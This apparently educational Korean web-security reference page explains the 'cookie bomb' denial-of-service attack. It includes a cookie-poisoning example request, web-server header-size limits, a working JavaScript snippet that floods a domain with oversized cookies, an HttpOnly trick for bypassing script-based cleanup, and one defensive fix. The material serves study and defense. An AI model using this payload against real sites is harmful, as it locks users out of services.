Cookie Bomb Attack

Introduction

Cookie bomb은 비정상적으로 큰 쿠키 값을 이용해서 DOS를 유도하는 공격 방법입니다. 기본적으로 가용성을 침해하는 DOS 공격이 주를 이루며, 이외에도 다른 취약점과 Chain attack 형태로 사용될 가능성이 존재합니다.

일반적으로 HTTP Request의 헤더값이 큰 경우 서비스에서 413 Request Entity Too Large 또는 400 Bad Request 등의 에러를 반환하게 됩니다. 이러한 에러를 유도할 수 있는 헤더에는 대표적으로 Cookie 헤더가 있으며, File cookie에 대량의 데이터가 삽입된 경우 해당 쿠키를 초기화 하지 않는 이상 모든 요청에서 413, 400 에러등이 발생할 수 있습니다.

Offensive techniques

Detect

서비스에서 쿠키를 설정할 수 있는 포인트 필요합니다. 가장 간단하게는 XSS 그리고 Cookie poisoning이 있습니다. 이렇게 임의 쿠키를 사용자에게 세팅할 수 있는 부분이 있다면 Cookie bomb attack을 성공할 가능성이 존재하게 됩니다.

e.g (cookie poisoning)

GET /info?locale=KR999 HTTP/1.1
HTTP/1.1 200 OK
Set-Cookie: localeCookie=KR999;

Exploitation

웹 서버들은 아래와 같은 사이즈의 헤더 요청이 있는 경우 에러를 생성합니다.

Server Size
Nginx 4KB - 8KB
Apache 8KB
Tomcat 8KB - 48KB
IIS 8KB - 16KB

해당 데이터 보다 큰 쿠키값을 세팅하면 해당 파일 쿠키를 삭제하지 않는 이상 매번 접근 시 에러 메시지가 발생하여 정상적으로 서비스를 이용할 수 없게 됩니다.

Set-Cookie

HTTP/1.1 200 OK
Set-Cookie: localeCookie=aaaaaaaaa------big-size---------bbvbbbb;

With Javascript

var base_domain = "example.com";
var pollution = Array(4000).join('a');
for(var i=0;i<100;i++){
  document.cookie='bomb'+i+'='+pollution+';domain='+base_domain;
}

Bypass protection

해당 공격의 대응방안인 쿠키정보 초기화를 Javascript 단에서 처리하는 경우 아래와 같이 JS에서 컨트롤 할 수 없도록 HttpOnly 속성을 주어 보호 로직을 우회할 수 있습니다.

HTTP/1.1 200 OK
Set-Cookie: localeCookie=aaaaaaaaa------big-size---------bbvbbbb; HttpOnly;

Defensive techniques

비 정상적인 쿠키 요청이 있는 경우 무조건 에러로 처리하는 것이 아닌 커스텀 에러 페이지에서 Set-Cookie로 해당 쿠키의 expire 등을 조정하여 쿠키를 초기화하는 것이 가장 좋습니다.

References

  • https://blog.rubiya.kr/index.php/2020/10/02/cookie-bomb/
  • https://hitcon.org/2019/CMT/slide-files/d1_s3_r0.pdf